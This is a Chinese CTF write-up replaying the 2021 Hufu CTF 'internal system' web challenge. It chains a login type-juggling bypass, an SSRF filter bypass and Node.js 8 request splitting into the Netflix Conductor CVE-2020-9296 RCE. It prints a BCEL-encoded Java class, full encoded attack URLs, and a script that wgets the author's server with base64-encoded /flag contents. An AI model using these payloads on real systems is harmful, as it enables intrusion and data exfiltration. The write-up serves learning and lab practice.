前言
这道题当时比赛的时候拿到hint之后就不会做了,当时大致也查到了CVE-2020-9296-Netflix-Conductor-RCE这个洞,主要还是那个内网的ip不知道,此外就算知道了内网的ip,发post包那里我也会被卡住,还是太菜了。
现在复现环境放在了buuctf上面,一些师傅也发了复现的WP,我参考了一下赵总和miaotony师傅的复现文章来学习了一波。拿到hint之前的内容可能会一概而过,因为比较简单,主要的难点还是后面打内网8080端口的Netflix-Conductor设备。
WP
login
访问/source,得到源码:
const express = require('express')
const router = express.Router()
const axios = require('axios')
const isIp = require('is-ip')
const IP = require('ip')
const UrlParse = require('url-parse')
const {sha256, hint} = require('./utils')
const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'
const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin'))
const port = process.env.PORT || 3000
function formatResopnse(response) {
if(typeof(response) !== typeof('')) {
return JSON.stringify(response)
} else {
return response
}
}
function SSRF_WAF(url) {
const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')
return isIp(host) && IP.isPublic(host)
}
function FLAG_WAF(url) {
const pathname = new UrlParse(url).pathname
return !pathname.startsWith('/flag')
}
function OTHER_WAF(url) {
return true;
}
const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]
router.get('/', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login')
} else {
res.redirect('/index')
}
})
router.get('/login', (req, res, next) => {
const {username, password} = req.query;
if(!username || !password || username === password || username.length === password.length || username === 'admin') {
res.render('login')
} else {
const hash = sha256(sha256(salt + username) + sha256(salt + password))
req.session.admin = hash === adminHash
res.redirect('/index')
}
})
router.get('/index', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login')
} else {
res.render('index', {admin: req.session.admin})
}
})
router.get('/proxy', async(req, res, next) => {
if(!req.session.admin) {
return res.redirect('/index')
}
const url = decodeURI(req.query.url);
console.log(url)
const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)
if(!status) {
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', response.data)
} catch(error) {
res.render('base', error.message)
}
}
})
router.post('/proxy', async(req, res, next) => {
if(!req.session.admin) {
return res.redirect('/index')
}
// test url
// not implemented here
const url = "https://postman-echo.com/post"
await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', "Something needs to be implemented")
})
router.all('/search', async (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){
return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
}
const result = {title: 'Search Success', content: ''}
const method = req.method.toLowerCase()
const url = decodeURI(req.query.url)
const data = req.body
try {
if(method == 'get') {
const response = await axios.get(url)
result.content = formatResopnse(response.data)
} else if(method == 'post') {
const response = await axios.post(url, data)
result.content = formatResopnse(response.data)
} else {
result.title = 'Error'
result.content = 'Unsupported Method'
}
} catch(error) {
result.title = 'Error'
result.content = error.message
}
return res.json(result)
})
router.get('/source', (req, res, next)=>{
res.sendFile( __dirname + "/" + "route.js");
})
router.get('/flag', (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){
return res.send({title: 'Error', content: 'No Flag For You!'})
}
return res.json({hint: hint})
})
module.exports = router
大致扫一下源码,可以看出来后面的/search和/flag这些路由都需要127.0.0.1,因此需要ssrf,而/proxy则需要是admin登录成功,因此第一步是先登录。
router.get('/login', (req, res, next) => {
const {username, password} = req.query;
if(!username || !password || username === password || username.length === password.length || username === 'admin') {
res.render('login')
} else {
const hash = sha256(sha256(salt + username) + sha256(salt + password))
req.session.admin = hash === adminHash
res.redirect('/index')
}
})
get查询传参,username和password都不为空且不强类似相等且长度相等且username!===admin
,就可以进入接下来的判断,经过一段sha256的哈希加密,需要和adminHash的值相等才行,而adminHash是这样来的:const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin'))
因此第一反应肯定是username和password都是admin,但是这里要求username!=='admin'
,因此利用拼接上的漏洞,就是数组的拼接:
'admin'+'feng' //'adminfeng'
['admin']+'feng' //'adminfeng'
['admin']!=='admin' //true
因此直接传:
?username[]=admin&password=admin
ssrf拿到hint
以admin登录成功后就可以使用/proxy了,看一下:
router.get('/proxy', async(req, res, next) => {
if(!req.session.admin) {
return res.redirect('/index')
}
const url = decodeURI(req.query.url);
console.log(url)
const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)
if(!status) {
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', response.data)
} catch(error) {
res.render('base', error.message)
}
}
})
get传参url,经过WAF_LISTS里的三个waf函数处理,都返回true,才能访问url:
http://127.0.0.1:${port}/search?url=${url}
而search其实就是做这个:
if(method == 'get') {
const response = await axios.get(url)
result.content = formatResopnse(response.data)
相当于是一个代理访问了。首先是要绕waf,SSRF_WAF就很好绕了,0.0.0.0就可以了。如果单纯的想得到这个hint的话,绕FLAG_WAF非常简单,waf是不能以/flag开头,因为router忽略大小写,所以大小写绕过即可:
但是这样就只是单纯的拿到hint了,打不了内网。考虑到/proxy有waf,但是/search没有waf,因此直接利用/search来绕waf:
构造恶意类并且BCEL编码
提示已经告诉我们内网存在一个netflix conductor了,查一下就可以知道端口是8080,可以找到这个文章:
CVE-2020-9296-Netflix-Conductor-RCE-漏洞分析
也是按照这个文章的思路来进行RCE。
关键就是内网的ip是啥。比赛的时候只能猜,好像似乎就是docker的默认地址,类似172.1x.0.x 这样的,但是buu上的环境已经给出来,直接扫一下就行,扫到10.0.252.14:8080的时候扫到了。
访问/api/admin/config可以查看配置信息:
{
"jetty.git.hash": "b1e6b55512e008f7fbdf1cbea4ff8a6446d1073b",
"loadSample": "true",
"io.netty.noUnsafe": "true",
"conductor.jetty.server.enabled": "true",
"io.netty.noKeySetOptimization": "true",
"buildDate": "2021-04-03_17:38:09",
"io.netty.recycler.maxCapacityPerThread": "0",
"conductor.grpc.server.enabled": "false",
"version": "2.26.0-SNAPSHOT",
"queues.dynomite.nonQuorum.port": "22122",
"workflow.elasticsearch.url": "es:9300",
"workflow.namespace.queue.prefix": "conductor_queues",
"user.timezone": "GMT",
"workflow.dynomite.cluster.name": "dyno1",
"sun.nio.ch.bugLevel": "",
"workflow.dynomite.cluster.hosts": "dyno1:8102:us-east-1c",
"workflow.elasticsearch.instanceType": "external",
"db": "dynomite",
"queues.dynomite.threads": "10",
"workflow.namespace.prefix": "conductor",
"workflow.elasticsearch.index.name": "conductor"
}
看到了"version": "2.26.0-SNAPSHOT",
,版本是2.26.0
查一下,这个CVE似乎只到2.25.3:
但是这题确实还能打。。。问题不大。。打就完事了。。思路参考先知那个文章的思路。
不过这鬼题是不好弹shell,因为bash,nc,curl啥的都没有,而且那个命令执行也很玄学,所以就是先wget我们的VPS,把命令下载到文件里,然后再sh 那个文件,wget带回执行的结果。
在VPS下面写一个1.txt:
#!/bin/sh
wget http://118.31.168.198:39543/?feng=`cat /flag|base64`
然后起python服务器:
那个Evil.java上这样写:
public class Evil
{
public Evil() {
try {
Runtime.getRuntime().exec("wget http://118.31.168.198:39543/1.txt -O /tmp/feng");
//Runtime.getRuntime().exec("sh /tmp/feng");
}
catch (Exception ex) {
ex.printStackTrace();
}
}
public static void main(final String[] array) {
}
}
接下来就是要编译,然后将class文件通过 bcel 编码后作为参数。
javac Evil.java
bcel编码的话可以通过这个工具:
BCELCodeman
具体的使用都说的很清楚了,不过java小白表示不知道jar包哪来的。。。
打jar包
因为我不会java,jar包是什么也是现查的,因此打这个jar包打的很费劲,可能我的方法非常的离谱,感觉我感觉作为一个java小白,至少成功打出来jar包了。。。(笑)
下载的工具中,把src中的Main.java编译成class:
javac Main.java
然后再打jar包:
jar -cvfm BCELCodeman.jar ../META-INF/MANIFEST.MF Main.class
注意要在src目录进行这个操作,如果在前面的目录,或者其他的目录总是会报找不到Main类,查了一下好像是因为类路径的问题。。。不过既然我直接在src目录里打jar包就没问题,就懒得去搞啥类路径了。。。
然后转换为BCEL编码:
java -jar BCELCodeman/src/BCELCodeman.jar e Evil.class
赵总的博客上还提到了,这里可能会因此java版本还出错,我的版本是这个:
发送payload
然后按照先知上的文章,就是说要把这个BCEL编码后的class数据放到那个name里:
不过可以看到,这里是post传参,这样?url=…肯定是没法传post的,这也是一个大问题。
源码里是给了提示的:
const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'
node.js 8 版本。。。原来nodejs8版本的http库有一个请求拆分漏洞,参考文章:
通过拆分攻击实现的SSRF攻击
怎么说呢,感觉就是CRLF注入的一种变形,利用的是Unicode字符。
本地实验参考了一下miaotony师傅,起个node.js8的docker:
docker pull node:8.13.0-alpine
docker run -itd --name node8.13-test node:8.13.0-alpine
docker exec -it node8.13-test /bin/sh
# 进入docker里执行
npm i axios
node
执行以下:
const axios = require('axios')
var s = 'http://118.31.168.198:39543/?param=x\u{0120}HTTP/1.1\u{010D}\u{010A}Host:{\u0120}127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'
axios.get(s).then((r) => console.log(r.data)).catch(console.error)
原理知道了就要开始打了,感谢赵总写的脚本,直接改一下就行了:
post_payload = '[\u{017b}\u{0122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$oA$Q$7d$3d$m$83$e3$m$f8$B$x$7e$a2$k$40M$98L$40$83$l$f1$b2qO$b8k$c4$e8$c1$L$cd$d8b$x$Mdh$d4$83$ff$c7$b3$X5$7b$f0$H$f8$a3$d4$ea1$91M$dcN$aa$ba$eb$d5$abW$d5$dd$afo$7f_$A$94$b1l$n$8eI$Lid$e2$f8$a1$f7$v$TY$LC$9861cb$96$n$b6$p$7d$a9v$Z$o$85$95c$86$e8$cf$ce$99$60HV$a5$_$7e$f7$db$N$R$i$f1F$8b$90DMq$efj$9fw$c38$ac$ce$S$bd$cd$a5$cf$90$v$9cV$_$f95wZ$dco$3a5$VH$bf$b9$ad$e5$acZ$a7$lx$e2$97$d4$S$c3$7b$d7$b2U$d4$3c$h$c3$b0L$cc$d9$98$c7$CC$a5w$91$cb$df4$85$ca$5d$u$d5$ddr$i$d7$ad$UKn$d1$dd$a8$U$dd$cd$caVis$bd$5cr$ea$kW9$e7$bc$c5$9bw$N$de$T$h$e5z$deF$O$8b$M$T$83$de$7b$b7$9e$e8$w$d9$f1m$y$c1$a2$BuO$86$d4$80$f1$a7q$v$3c$c506$80$O$fb$be$92m$9a$d0$a2$Z$be$82ta$a5$fa$8d$b3M$92$e2Vx$M$f9$c2$7f$ae$fc$Pt$Qt$3c$d1$ebQA$b2KI$V$be$dfQ$c0$3d$81E$98$f4$_z$Z$60$fa$v$c8$8fPT$a7$d8$a0$3d$b3$fa$E$f6$Mc$3c$f2$88$e8$c9$3d$e2$d5$b5G$c4$k$88$VE$C$v$fa$3e$D6$f1$a6$R$p$l$nt$88p$8b2q$8c$91$5e$9a$d4$S$94I$c1x$t$c7L$8cj$97$8cR$$E$8c$cfnY2$a6$ed$n$3ch$c1X$I$Q$Z$e3$e1p$T$l$Cb$acrJ$C$A$A\u{0127}).newInstance().class\u{017d}\u{0122},\u{0122}ownerEmail\u{0122}:\u{0122}test@example.org\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122},\u{0122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputKeys\u{0122}:[\u{0122}sourceRequestId\u{0122},\u{0122}qcElementType\u{0122}],\u{0122}outputKeys\u{0122}:[\u{0122}state\u{0122},\u{0122}skipped\u{0122},\u{0122}result\u{0122}],\u{0122}timeoutPolicy\u{0122}:\u{0122}TIME_OUT_WF\u{0122},\u{0122}retryLogic\u{0122}:\u{0122}FIXED\u{0122},\u{0122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0122}responseTimeoutSeconds\u{0122}:\u{0122}3600\u{0122},\u{0122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{0122}rateLimitFrequencyInSeconds\u{0122}:\u{0122}60\u{0122},\u{0122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{0122}isolationgroupId\u{0122}:\u{0122}myIsolationGroupId\u{0122}\u{017d}]'
console.log(encodeURI(encodeURI(encodeURI('http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.181.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:' + post_payload.length + '\u{010D}\u{010A}\u{010D}\u{010A}' + post_payload + '\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'))))
改掉post_payload中间loadClass里面那部分的BCEL数据,用自己生成了,然后下面那里的payload里面的search?url后面改成自己靶机的内网ip就可以了。
开始打,这一步是wget到1.txt里面的命令写到/tmp/feng里面:
http://c3fbefe8-6686-4b9b-9585-5983858c0e31.node3.buuoj.cn/proxy?url=http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258A%25
25C4%25258D%2525C4%25258APOST%2525C4%2525A0/search?url=http://10.0.71.14:8080/api/metadata/taskdefs%2525C4%2525A0HTTP/1.
1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:application/json%2525C4%25258D%
2525C4%25258AContent-Length:1518%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%25255B%2525C5%2525BB%2525C4%252
5A2name%2525C4%2525A2:%2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7.getClass().forName(%2525C4%2525A7com.su
n.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7).newInstance().loadClass(%2525C4%2525A7$$BCEL$$$l$8b$I$A$A$A$A
$A$A$AmQMS$gA$Q$7d$b3$m$8b$9b$r$7c$F$M$98D0$87$80Vvk$Lb$a1X$5e$ys$o1$r$96$k$bc$b8l$s8$I$cb$d6$3a$m$ff$c8$b3$X$93$ca$c1$l
$e0$8fR$7b$d6$w$b1$w$99$aa$ee$99$7e$fd$fau$cf$cc$dd$fd$df$5b$AM$7c4$90$c4$h$D$F$U$93XR$fb$5b$j$r$D$L$u$ebX$d6$f1$8e$n$b1
$z$7c$nw$Yb$b5$fa$RC$7cw$fc$933$a4$3b$c2$e7$df$t$a3$k$P$P$dd$de$90$90TW$ba$de$f977$88$e2$a8$baD$f4$91$x$7c$86b$ed$a43p$a
7$ae$3dt$fd$be$dd$95$a1$f0$fbm$rgt$c7$93$d0$e3_$85$92X$dc$9b$8a$a1$a5x$s$Wa$e8xo$e2$DV$Y$g$97$7d$$$xgR$G$5b$b6$ed8$z$ab$
e1X$ceF$cbr6$5b$5b$8d$cd$_$cd$86$edXr$s$x$9f$f7$x$b6$i$F$f6$_$ee$f7MTPe$c8$cf$db$ee$cd$3c$kH1$f6M$ac$c2$a0$d9T$3b$86$cc$
9c$b1$df$hpO2d$e7$d0$c1$c4$97bD$c3$Z4$c2sP$a8$d5$3b$ffp$da$q$c9g$dcc$f8T$fb$cfm_$40$3f$c2$b1$c7$_$$$a8$m$jPRFOw$Y$ba$kG$
V$3a$7d$89Z$g$98z$F$f2$af$u$3a$a5X$a3$bd$b8$f6$h$ec$P$b4$5c$ec$G$f1$e3$x$q$3b$eb7H$5c$T$x$8e$U2$f4s$gL$e2$95$91$m$l$pt$8
1p$832IdI$af$40j$v$cad$a0$3d$90c$3a$5e$x$97$8eS$$C$8c$a7n$r2$a6$ec$3a$3a$u$c1D$E$Q$Z$b9h$b8$fc$p$CL$ff$edE$C$A$A%2525C4%
2525A7).newInstance().class%2525C5%2525BD%2525C4%2525A2,%2525C4%2525A2ownerEmail%2525C4%2525A2:%2525C4%2525A2test@exampl
e.org%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2:%2525C4%2525A23%2525C4%2525A2,%2525C4%2525A2timeoutSeconds%25
25C4%2525A2:%2525C4%2525A21200%2525C4%2525A2,%2525C4%2525A2inputKeys%2525C4%2525A2:%25255B%2525C4%2525A2sourceRequestId%
2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D,%2525C4%2525A2outputKeys%2525C4%2525A2:%25255B%2525C4%252
5A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2,%2525C4%2525A2result%2525C4%2525A2%25255D,%2525C4%2525A2timeo
utPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%2525C4%2525A2,%2525C4%2525A2retryLogic%2525C4%2525A2:%2525C4%2525A2FIXE
D%2525C4%2525A2,%2525C4%2525A2retryDelaySeconds%2525C4%2525A2:%2525C4%2525A2600%2525C4%2525A2,%2525C4%2525A2responseTime
outSeconds%2525C4%2525A2:%2525C4%2525A23600%2525C4%2525A2,%2525C4%2525A2concurrentExecLimit%2525C4%2525A2:%2525C4%2525A2
100%2525C4%2525A2,%2525C4%2525A2rateLimitFrequencyInSeconds%2525C4%2525A2:%2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2r
ateLimitPerFrequency%2525C4%2525A2:%2525C4%2525A250%2525C4%2525A2,%2525C4%2525A2isolationgroupId%2525C4%2525A2:%2525C4%2
525A2myIsolationGroupId%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C
4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private
然后再把java文件的rce代码改一下:
Runtime.getRuntime().exec("sh /tmp/feng");
然后再重复前面的步骤进行生成。再打:
http://c3fbefe8-6686-4b9b-9585-5983858c0e31.node3.buuoj.cn/proxy?url=http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258A%25
25C4%25258D%2525C4%25258APOST%2525C4%2525A0/search?url=http://10.0.71.14:8080/api/metadata/taskdefs%2525C4%2525A0HTTP/1.
1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:application/json%2525C4%25258D%
2525C4%25258AContent-Length:1443%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%25255B%2525C5%2525BB%2525C4%252
5A2name%2525C4%2525A2:%2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7.getClass().forName(%2525C4%2525A7com.su
n.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7).newInstance().loadClass(%2525C4%2525A7$$BCEL$$$l$8b$I$A$A$A$A
$A$A$AmQKO$c2$40$Q$fe$b6$60$5bj$91$97$a0$e0$L$f4$mh$o$Xo$Y$_FO$f8$88$Q$3dx$b1$d4$V$Xi$ne$n$fc$p$cf$5c$d0x$f0$H$f8$a3$d4$
d9$9a$88$89n23$3b$df$7c$f3$cd$3e$de$3f$5e$df$A$ecc$cb$82$89E$LY$e4L$y$a9$b8l$moa$O$F$D$x$GV$Z$f4$D$e1$Ly$c8$Q$vW$ae$Y$a2
G$bd$3b$ce$90$a8$L$9f$9f$N$bd$W$P$9aN$abKH$bc$n$j$f7$f1$d4$e9$87y$d8$9d$t$ba$e7$I$9f$nW$be$a9w$9c$91S$ed$3a$7e$bb$da$90$
81$f0$db5$rg5z$c3$c0$e5$tBI$c4$8eG$a2$bb$a7x6b$b0$M$ac$d9X$c7$G$83$3dx$uV$a5$d7$af$des$bfm$a3$88$SCf$a6w$3cvy_$8a$9eoc$T
$W$NU$3a$M$c9$Z$e3$bc$d5$e1$aedH$cd$a0$cb$a1$_$85GS$ad6$97$3fI$b6$5c$a9$ff$e1$d4H$92$8f$b9$cb$b0$5d$fe$e7$g$bf$a0$8b$a0$
e7$f2$c1$80$g$S$7d$w$ca$f0M$9a$81$e3r$94$60$d0$5b$ab$a5$81$a9$eb$91$9f$a7$ec$96r$8dbn$e7$Z$ec$FZ$3a2E$f4$fa$Jf$7dw$K$7dB
$ac$u$e2H$d2$97h$b0$89W$80N$3eB$a8N$b8E$V$T$v$d2$cb$92Z$9c$wIh$9f$e4$98$81$F$e5$SQ$aa$r$89$f1$3d$zO$c6$94M$c2$8d$S$d4C$8
0$c8H$87$87$cb$7c$B$U$c6$ce$t$k$C$A$A%2525C4%2525A7).newInstance().class%2525C5%2525BD%2525C4%2525A2,%2525C4%2525A2owner
Email%2525C4%2525A2:%2525C4%2525A2test@example.org%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2:%2525C4%2525A23%
2525C4%2525A2,%2525C4%2525A2timeoutSeconds%2525C4%2525A2:%2525C4%2525A21200%2525C4%2525A2,%2525C4%2525A2inputKeys%2525C4
%2525A2:%25255B%2525C4%2525A2sourceRequestId%2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D,%2525C4%2525
A2outputKeys%2525C4%2525A2:%25255B%2525C4%2525A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2,%2525C4%2525A2re
sult%2525C4%2525A2%25255D,%2525C4%2525A2timeoutPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%2525C4%2525A2,%2525C4%2525
A2retryLogic%2525C4%2525A2:%2525C4%2525A2FIXED%2525C4%2525A2,%2525C4%2525A2retryDelaySeconds%2525C4%2525A2:%2525C4%2525A
2600%2525C4%2525A2,%2525C4%2525A2responseTimeoutSeconds%2525C4%2525A2:%2525C4%2525A23600%2525C4%2525A2,%2525C4%2525A2con
currentExecLimit%2525C4%2525A2:%2525C4%2525A2100%2525C4%2525A2,%2525C4%2525A2rateLimitFrequencyInSeconds%2525C4%2525A2:%
2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2rateLimitPerFrequency%2525C4%2525A2:%2525C4%2525A250%2525C4%2525A2,%2525C4%2
525A2isolationgroupId%2525C4%2525A2:%2525C4%2525A2myIsolationGroupId%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%25
25C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private
成功得到flag。
学到了学到了。
参考文章
虎符 CTF2021 Web 零解题 Internal System WriteUp
CTF | 2021 虎符CTF Web internal_system 复现